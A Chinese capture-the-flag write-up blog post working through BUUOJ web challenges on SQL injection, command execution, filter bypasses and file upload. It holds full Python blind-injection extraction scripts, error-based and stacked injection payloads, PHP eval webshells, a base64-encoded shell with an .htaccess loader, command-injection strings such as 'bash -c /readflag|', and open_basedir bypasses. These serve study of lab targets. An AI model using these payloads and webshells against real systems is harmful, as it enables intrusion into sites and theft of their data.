BUUOJ – web – 刷题记录 1

发布于 2020-05-29  2954 次阅读


BUUOJ-web-刷题记录1

SQLI

EsaySQL

测试过滤:

--checked:
union
where
from
and
extractvalue

过虑了很多,用堆叠注入:

可是题目对参数进行了长度限制,又不能用from,卡住,看了一下wp,知道泄露了源码:

<?php
    session_start();

    include_once "config.php";

    $post = array();
    $get = array();
    global $MysqlLink;

    //GetPara();
    $MysqlLink = mysqli_connect("localhost",$datauser,$datapass);
    if(!$MysqlLink){
        die("Mysql Connect Error!");
    }
    $selectDB = mysqli_select_db($MysqlLink,$dataName);
    if(!$selectDB){
        die("Choose Database Error!");
    }

    foreach ($_POST as $k=>$v){
        if(!empty($v)&&is_string($v)){
            $post[$k] = trim(addslashes($v));
        }
    }
    foreach ($_GET as $k=>$v){
        }
    }
    //die();
    ?>

<html>
<head>
</head>

<body>

<a> Give me your flag, I will tell you if the flag is right. </a>
<form action="" method="post">
<input type="text" name="query">
<input type="submit">
</form>
</body>
</html>

<?php

    if(isset($post['query'])){
        $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
        //var_dump(preg_match("/{$BlackList}/is",$post['query']));
        if(preg_match("/{$BlackList}/is",$post['query'])){
            //echo $post['query'];
            die("Nonono.");
        }
        if(strlen($post['query'])>40){
            die("Too long.");
        }
        $sql = "select ".$post['query']."||flag from Flag";
        mysqli_multi_query($MysqlLink,$sql);
        do{
            if($res = mysqli_store_result($MysqlLink)){
                while($row = mysqli_fetch_row($res)){
                    print_r($row);
                }
            }
        }while(@mysqli_next_result($MysqlLink));

    }

    ?>

然后就是两种解了:

没有过滤*,所以用*,1这样语句就为:select *,1 || flag from Flag当然这个是非预期,官方解法是利用修改sql_mode=PIPES_AS_CONCAT将|| 视为 字符串连接符 而非 '或' 运算符:

总结一下这道题就是:没有经验,大师父们又想到后台的语句是那样的,我没有想到,所以卡在那个位置。

随便注

进一步测试有过滤:

虽然可以用报错注入,但是仅限于查询version(),database(),user()这些了:

大小写绕过什么都不行,尝试了一下多语句:

感觉方向对了,进一步使用动态语句绕过:

既然找到了flag列,剩下的就简单愉快查询flag了:

Hack World

测试一下:

简单的异或盲注,给脚本:

# -*- coding: UTF-8 -*-

import requests,string,re

url = 'http://802b6884-3463-4936-8896-5a1f1243416d.node1.buuoj.cn'
s = '_,1234567890}{-'+ string.ascii_lowercase
p = ''

for i in range(1,100):
    f = 0
    print(i)
    for j in s:
        sql = "1^(ascii(substr((select(flag)from(flag)),%d,1))=%d)^1"%(i,ord(j))
        data = {"id":sql}
        html = requests.post(url,data=data,timeout=None).text
        if "glzjin" in html:
            f = 1
            p += j
            print (p)
            break
    if f == 0:
        break

Fakebook

拿到网站 先注册一个账号:
file
点击用户名 会发现页面通过no参数查询展示:
file
测试一下SQL注入,过滤了union select,通过union/**/select绕过,得到表中数据:

no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
no=-1 union/**/select 1,group_concat(data),3,4 from users

file

可见有一串序列化对象,现在就是要找到序列化的源码,扫目录发现robots.txt查看得到user.php的源码最终payload:

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

$a = new UserInfo('cl4y',20,'file:///var/www/html/flag.php');
$b = serialize($a);
var_dump($b);//O:8:"UserInfo":3:{s:4:"name";s:4:"cl4y";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}

sql注入得到flag:
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"cl4y";s:3:"age";i:20;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
file

[RCTF2015]EasySQL

二次注入

三个主要功能注册 登陆 修改密码

注册用户名为 qqq\ 等然后一个一个功能进行测试;密码设置为 qqq\ 然后继续测试;同样其他功能也这么干。

检测出用户名有非法字符,修改密码出现SQL语法报错,报错注入打一发:
username=qqq"^updatexml(1,concat(0x7e,(database()),0x7e),1)#&password=admin&email=admin

file

username=qqq"^updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1)#&password=admin&email=admin

file

username=qqq"^updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1)#&password=a&email=a

file

username=qqq"^updatexml(1,concat(0x7e,(select(flag)from(flag)),0x7e),1)#&password=a&email=a

file

做到这里 是真的恶心,flag不在这,看一下别的表:

file

有长度限制,但是ban了substr等字符串函数,这里可以用正则:

username=qqq"||updatexml(1,concat((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1)#&password=a&email=a

file

恶心至极,真的,搞了半天后面的几个字符都没搞出来,然后出去玩了个狼人杀回来突然想到是不是可以用倒置函数,搜了一下,发现还真的有:

username=qqq"||updatexml(1,concat((select(REVERSE(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here)regexp('^f'))),1)#&password=a&email=a

file

[HarekazeCTF2019]Sqlite Voting

考点有点多:

  • sqlite注入
  • abs溢出报错
  • length+replace绕过substr
  • 绕过引号
  • 通过trim构造十六进制字母,爆破flag的十六进制

还有一些常规绕过就不说了

sqlite语法

简单提一下题目中所用到,MySQL没有的、语法有区别的函数。(sqlite语法):

  1. abs(x):函数返回数字参数X的绝对值。如果X为NULL,则返回NULL。如果X是无法转换为数值的字符串或Blob,则返回0.0。如果X是整数-9223372036854775808(0x8000000000000000)(1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000‬),则会引发整数溢出错误,因为没有等效的64位两个补码值:file
  2. trim('str','rep'):看图吧,一目了然:file
  3. hex():sqlite中传入参数为数字 会当作字符串转码,而MySQL不是:file
  4. sqlite可以用||连接字符串或数字:file

解题

题目给了源码,关键代码:

<?php
$banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
DROP TABLE IF EXISTS `flag`;
CREATE TABLE `flag` (
  `flag` TEXT NOT NULL
);
INSERT INTO `flag` VALUES ('HarekazeCTF{<redacted>}');

知道banword和flag位置,测试一下有报错和没报错的时候回显不同,基本是盲注了,可以利用abs溢出报错来达到目的。
但是ban掉了substr,sqlite中没有可替换的函数,这里可以用length()+replace()绕过:

file

如果爆破位置的字符对了,返回为剩余字符串长度,否则返回全部字符串长度。

如果要构造出 爆破正确与不正确的 的结果报错与不报错 则要用到ifnull()+nullif()

sqlite> select abs(ifnull(nullif((length(replace('asdzxcqwe','asd',''))),9),0x8000000000000000));
6
sqlite> select abs(ifnull(nullif((length(replace('asdzxcqwe','asds',''))),9),0x8000000000000000));
Error: integer overflow

file

但是这样出现单引号,所以要找一个绕过单引号的方法:

上面说过||链接数字的时候是不用单引号的,而且连接函数也不用:

file

同样可以构造十六进制字母(为了方便我把数据表单在服务器上创建了一遍):

file

原理很简单,这里不说了。

思路大概出来了:

  1. 爆破出flag的十六进制字符串的长度。
  2. 爆破flag的十六进制字符串。

给出脚本:

import re,requests,binascii

url = 'http://bc6ace9f-6a0e-4e97-8229-4f0281d2328a.node3.buuoj.cn/vote.php'
res = binascii.hexlify(b'flag{').decode().upper()

def flaglen():
    for i in range(100):
        data = {'id': f'abs(ifnull(nullif(length(hex((SELECT(flag)from(flag)))),{i}),0x8000000000000000))'}
        lr = requests.post(url = url, data = data)
        if 'error' in lr.text:
            print('yes!\nlength of hexflag is: '+str(i))
            return(i)
        else:
            print('not is '+str(i))

def payload(x):
    table = {}
    table['A'] = 'trim(hex((select(name)from(vote)where(case(id)when(3)then(1)end))),12567)'
    table['C'] = 'trim(hex(typeof(.1)),12567)'
    table['D'] = 'trim(hex(0xffffffffffffffff),123)'
    table['E'] = 'trim(hex(0.1),1230)'
    table['F'] = 'trim(hex((select(name)from(vote)where(case(id)when(1)then(1)end))),467)'
    table['B'] = f'trim(hex((select(name)from(vote)where(case(id)when(4)then(1)end))),16||{table["C"]}||{table["F"]})'
    t = '||'.join(res + x)

    for a in 'ABCDEF':
        t = t.replace(a,table[a])
    return t

def exp(t,l):
    data = {'id': f'abs(ifnull(nullif((length(replace(hex((select(flag)from(flag))),{t},trim(0,0)))),{l}),0x8000000000000000))'}
    fr = requests.post(url = url, data = data)
    return fr.text

def getflag():
    # l = 84
    l = flaglen()
    global res

    for i in range(len(res), l):
        for x in '0123456789ABCDEF':
            t = payload(x)
            pld = exp(t,l)
            if 'Thank' in pld:
                res += x
                break
        print(res)
    print('[+] flag:', binascii.unhexlify(res).decode())

# flaglen()
getflag()

[CISCN2019 总决赛 Day2 Web1]Easyweb

文件泄露,SQL注入,文件上传
robots.txt看到有*.php.bak的目录,然后找到了image.php.bak,读源码,存在SQL注入:

<pre>
<?php
error_reporting(0);
$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$path=str_replace(array("\\0","%00","\\'","'"),"",$path);

$result="select * from images where id='{$id}' or path='{$path}'";

var_dump($id);
var_dump($path);
echo $result;
?>

可以任意文件读取:
?id=\\0&path=union%20select%201,0x696D6167652E706870--+a0x696D6167652E706870是image.php的16进制
file

读到源码后发现ban掉了../不能读flag了,再user.php看到有一个user表,时间盲注注入出密码:
file

import requests
import re 
import hashlib

# s = requests.Session()
url = "http://848e6bc3-1e67-4d45-bcd1-8feca82c0c88.node3.buuoj.cn/image.php"
flag = ''

def getcode():
    html = s.get(url)
    gcode = re.findall(r"===(.*)<br>",html.text,re.S)[0]
    lenth = len(gcode)
    for i in range(0,1000000):
        md5=hashlib.md5(str(i).encode()).hexdigest()
        if md5[0:lenth] == gcode:
            res = i
            break
    return res

def payload(i,j):
    sql = "or id=if(ascii(substr((select password from users limit 1 offset 0),%d,1))>%d,1,sleep(1.5))-- a"%(i,j)
    # print(sql)
    # code = getcode()
    data = {'id':'\\\\0','path':sql}
    r = requests.get(url=url,params=data)
    print ('0v0')
    if r.elapsed.total_seconds()<1:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()
print(flag)

源码看到文件上传处过滤了php,短标签即可绕过:
<?=@eval($_POST['cl4y']);?>,将这个写在文件名的位置上,蚁剑链接日志文件即可:
file

[GXYCTF2019]BabySQli

sql注入:
file

[RoarCTF 2019]Online Proxy

SQL注入

注入点在X-Forwarded-For头:服务器会记录IP,以及上次访问的IP,储存在数据库里,当提取IP的时候会发生注入,利用X-Forwarded-For实施注入。

历史IP要提取两次才会发生注入,麻烦的是家里网不好,就写了个请求重放:

# -*- coding: UTF-8 -*-
import requests

url = "http://node3.buuoj.cn:29829/"
flag = ''
headers = {
    "GET" : "/ HTTP/1.1",
    "Cookie" : "track_uuid=d98f6951-9f02-4f30-ed6f-bf636aa89edb",
    "X-Forwarded-For" : ""
}

def gethtml(url):
    a = 0
    while a<3:
        try:
            r = requests.post(url = url, headers = headers, timeout = 5)
            return r
        except:
            a = a+1

def payload(i,j):
    # sql = "1'^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^'1"%(i,j)                                #数据库名字          
    # sql = "1'^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='F4l9_D4t4B45e'),%d,1))>%d)^'1"%(i,j)          #表名
    # sql = "1'^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F4l9_t4b1e')),%d,1))>%d)^'1"%(i,j)     #列名
    sql = "1'^(ord(substr((select(group_concat(F4l9_C01uMn))from(F4l9_D4t4B45e.F4l9_t4b1e)),%d,1))>%d)^'1"%(i,j)
    headers["X-Forwarded-For"] = sql
    r = gethtml(url)
    headers["X-Forwarded-For"] = '1'
    r = gethtml(url)
    r = gethtml(url)
    if "Last Ip: 1 -" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()
print('flag=',flag)

file

[BJDCTF2020]Easy MD5

MD5注入,PHP弱类型,MD5碰撞

MD5注入这个文章解释很清楚 就不说了:[红日安全]代码审计Day17 - Raw MD5 Hash引发的注入
PHP弱类型,MD5碰撞也不说了,给个payload:

GET /levels91.php?a=s878926199a&b=s155964671a HTTP/1.1
Host: 1d2709d0-2e2c-4adf-a4f6-bdce1121aa67.node3.buuoj.cn
Connection: close

POST /levell14.php HTTP/1.1
Host: 1d2709d0-2e2c-4adf-a4f6-bdce1121aa67.node3.buuoj.cn
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 399

param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&param2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

[GYCTF2020]Blacklist

堆叠注入,强网杯改的,这次过滤的比较多,利用handler语句:
http://59a9a6b6-3de4-4996-a136-341997bfb8dc.node3.buuoj.cn/?inject=1';show databases;show tables;show columns from FlagHere;handler FlagHere open;handler FlagHere read next;

file

[BJDCTF 2nd]简单注入

过滤了很多,不过转义符可以导致password逃逸出来:
file

脚本:

# -*- coding: UTF-8 -*-
import re
import requests
import string

url = "http://1dd20d79-d211-4a48-acc4-ab46e020a6a6.node3.buuoj.cn/index.php"
flag = ''
def payload(i,j):
    sql = "^(ascii(substr((password),%d,1))>%d)#"%(i,j)
    data = {"username":"admin\\","password": sql}
    r = requests.post(url,data=data)
    # print (r.url)
    if "P3rh4ps" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            mid = (low + high) // 2
            res = payload(i,mid)
            if res :
                low = mid + 1
            else :
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()
print('flag=',flag)

file

或者用正则:
脚本:

# -*- coding: UTF-8 -*-
import re
import requests
import string

url = "http://1dd20d79-d211-4a48-acc4-ab46e020a6a6.node3.buuoj.cn/index.php"
flag = ''
def payload(i,j):
    sql = "or (ascii(substr((password),%d,1)) regexp %d)#"%(i,j)
    data = {"username":"admin\\","password": sql}
    r = requests.post(url,data=data)
    # print (r.url)
    if "stronger" in r.text:
        res = 1
    else:
        res = 0

    return res

def exp():
    global flag
    for i in range(1,10000) :
        print(i,':')
        low = 31
        high = 127
        while low <= high :
            res = payload(i,low)
            if res :
                f = low
                break
            else :
                low = low + 1
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)

exp()
print('flag=',flag)

file

出了密码,登陆就好
file

RCE

[RoarCTF 2019]Easy Calc

绕num参数的waf

  1. 利用php中$_GET[]字符串获取的特性和waf规则的差异:
    PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事:
    1.删除空白符
    2.将某些字符转换为下划线(包括空格)

写了个循环fuzz一下:
file

可以看到这些字符在不同位置,会被替换成_或者被删除,借一个师傅的图:
file

所以这道题只要传一个%20num参数,这样waf不会对%20num过滤,但是在后端会解析成num,即可绕过第一个点。
file

  1. http走私
    这里面利用CL-TE这里不详细介绍CL-TE,具体看这篇文章就好https://paper.seebug.org/1048/。
    先在http包里面加入Transfer-Encoding: chunked这个头,然后实体部分加几个回车。
    file

绕过正则:

修改传参方式,出现源码
file

这就不细讲了,先用scandir()列出目录,不过/被过滤了,所以用chr()绕过:
/calc.php?%20num=2-1;var_dump(scandir(chr(47)))
file

所以最终payload:
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
file

[BUUCTF 2018]Online Tool

PHP escapeshellarg()+escapeshellcmd() 绕过;nmap写入shell

关键代码:

<?php
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
?>

先来看一下escapeshellarg()+escapeshellcmd()这两个函数

file

escapeshellarg()使用转义符将危险字符转义后用单引号连接,escapeshellcmd()使用转义符将危险字符转义。

看一下这个payload:

file

  1. 传入的参数是: 127.0.0.1' <?php @eval($_POST["cl4y"]);?> -oG hack.php '
  2. 经过escapeshellarg处理后变成了 '127.0.0.1'\'' -oG hack.php '\''',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
  3. 经过escapeshellcmd处理后变成 '127.0.0.1'\\'' \<\?php @eval\(\$_POST\["cl4y"\]\)\;\?\> -oG hack.php '\\''',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
  4. 最后执行的命令是nmap -T5 -sT -Pn --host-timeout 2 -F '127.0.0.1'\\'' \<\?php @eval\(\$_POST\["cl4y"\]\)\;\?\> -oG hack.php '\\''',由于中间的\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为nmap -T5 -sT -Pn --host-timeout 2 -F 127.0.0.1\ <?php @eval($_POST["cl4y"]);?> -oG hack.php \
  5. 达成目的,注入-oG参数:file

蚁剑连接沙盒内的shell:
file

[GXYCTF2019]Ping Ping Ping

命令执行绕过:

Linux分号可以多语句执行:
file

ban了空格,$IFS$9绕过:
file

变量拼接绕过没成功,可以cat index.php看一下源码正则:

/*index.php*/
<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
";
  echo "
  print_r($a);
}

?>

改一下变量顺序就好了(这里不知道为什么cat读文件显示不全,那就tac倒着读):
file

[CISCN 2019 初赛]Love Math

花式构造命令执行

这题还挺有意思,学到新东西啦!
给出白名单中的math函数可以利用base_convert()将10进制转化为36进制,36进制的字符串可以表示任意函数名,再加上PHP的动态函数,既可rce,之前极客大挑战出过一道类似的题(RCE me)可以参考,这里就直接给出payload了:

rce

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{acos}($$pi{acosh})&acos=system&acosh=cat /flag

base_convert(37907361743,10,36) => "hex2bin"
dechex(1598506324) => "5f474554"
$pi=hex2bin("5f474554") => $pi="_GET"
$$pi{acos} => {}可以代替[]

?c=$pi=base_convert,$pi(1751504350,10,36)($pi(8768397090111664438,10,30)(){1})
file
file

直接读flag

# exec('cat /*')
?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211243818)))

[GXYCTF2019]禁止套娃

.git泄露、无参数命令执行

获取index.php源码:

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>
<?php
current(localeconv())                                   .
pos(localeconv())                                       .
scandir()                                               列目录
array_reverse()                                         逆序读取数组
array_rand()                                            随机读取一个键值
array_flip()                                            交换键值键名
session_id()                                            可以设置cookie的PHPSESSID获取

之前写过无参数rce,无数字字母rce,这里就挺简单的,不一一讲解了,给出几个payload:

<?php

highlight_file(session_id(session_start()));//cookie: PHPSESSID=flag.php
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));

//show_source()和readfile()可以代替highlight_file()

[HITCON 2017]SSRFme

libwww-perl中open里命令执行。

审计代码:
创建一个沙盒文件,储存GET "url" 的返回值,但是GET在处理file协议的时候会触发命令执行,前提是要执行的命令是一个存在的目录:
file
从上图可以看到,如果执行GET "file:bash -c /readflag|"的目录不存在以bash -c /readflag|为名的文件夹文件,则不会触发/readflag。

payload:

?url=file:bash -c /readflag|&filename=bash -c /readflag|
?url=file:bash -c /readflag|&filename=cl4y

最后访问沙盒内cl4y文件即可:
file

[ACTF2020 新生赛]Exec

命令执行
file

Checkin

文件上传的题,先试试传一个木马:

肯定是不允许,试试修改后缀:

这个好绕,<script language="php">@eval($_POST['cl4y']);</script>script> :

用图片马:

传是传上去了,怎么利用是个问题,测试了一下.htaccess文件无法利用,看了wp了解了一下.user.ini文件

  • 这里说一下.user.ini文件: "自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件*仅*被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。"也就是说这个文件类似于.htaccess,但是作用范围比它广泛(https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html
  • 作用条件:
    1. 服务器脚本语言为PHP
    2. 服务器使用CGI/FastCGI模式
    3. 上传目录下要有可执行的php文件

然后就是传一个.user.ini文件了:

GIF89a

auto_prepend_file=shell.jpg

最后连接index.php一句话得到根目录下的flag

[SUCTF 2019]EasyWeb

无数字字母rce,.htaccess文件上传,php绕过open_basedir

<?php
function get_the_flag(){
    // webadmin will remove your upload file every 20 min!!!! 
    $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
    if(!file_exists($userdir)){
    mkdir($userdir);
    }
    if(!empty($_FILES["file"])){
        $tmp_name = $_FILES["file"]["tmp_name"];
        $name = $_FILES["file"]["name"];
        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>

无数字字母 讲过很多次,直接给payload:
?_=${%a0%b8%ba%ab^%ff%ff%ff%ff}{%ff}();&%ff=get_the_flag

文件上传部分ban掉php的所有后缀名,考虑到apache+php所以用.htaccess绕过:
因为文件检测了幻术头,加上GIF98A的话.htaccess失效,这里用#define width 1337\n#define height 1337也可以(.htaccess里面#是注释);shell部分用base64+GTF98A绕过加两个a补全base64格式。

/*.htaccess*/
#define width 1337
#define height 1337
AddType application/x-httpd-php .cl4y
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_2c67ca1eaeadbdc1868d67003072b481/shell.cl4y"

/*shell.cl4y*/
GIF98AaaPD9waHAgQGV2YWwoJF9QT1NUWydjbDR5J10pOyA/Pg==

open_basedir绕过:
这篇文章
cl4y=chdir('cl4y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));
cl4y=chdir('cl4y');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(readfile('/THis_Is_tHe_F14g'));

[CSAWQual 2016]i_got_id

prel任意文件读取、命令执行
参考链接:https://tsublogs.wordpress.com/2016/09/18/606/
直接读文件:
file
命令执行,原文的payload不好用,这里可以直接执行命令,原理是open中通过|劫持:
file


既然热爱,就坚持下去。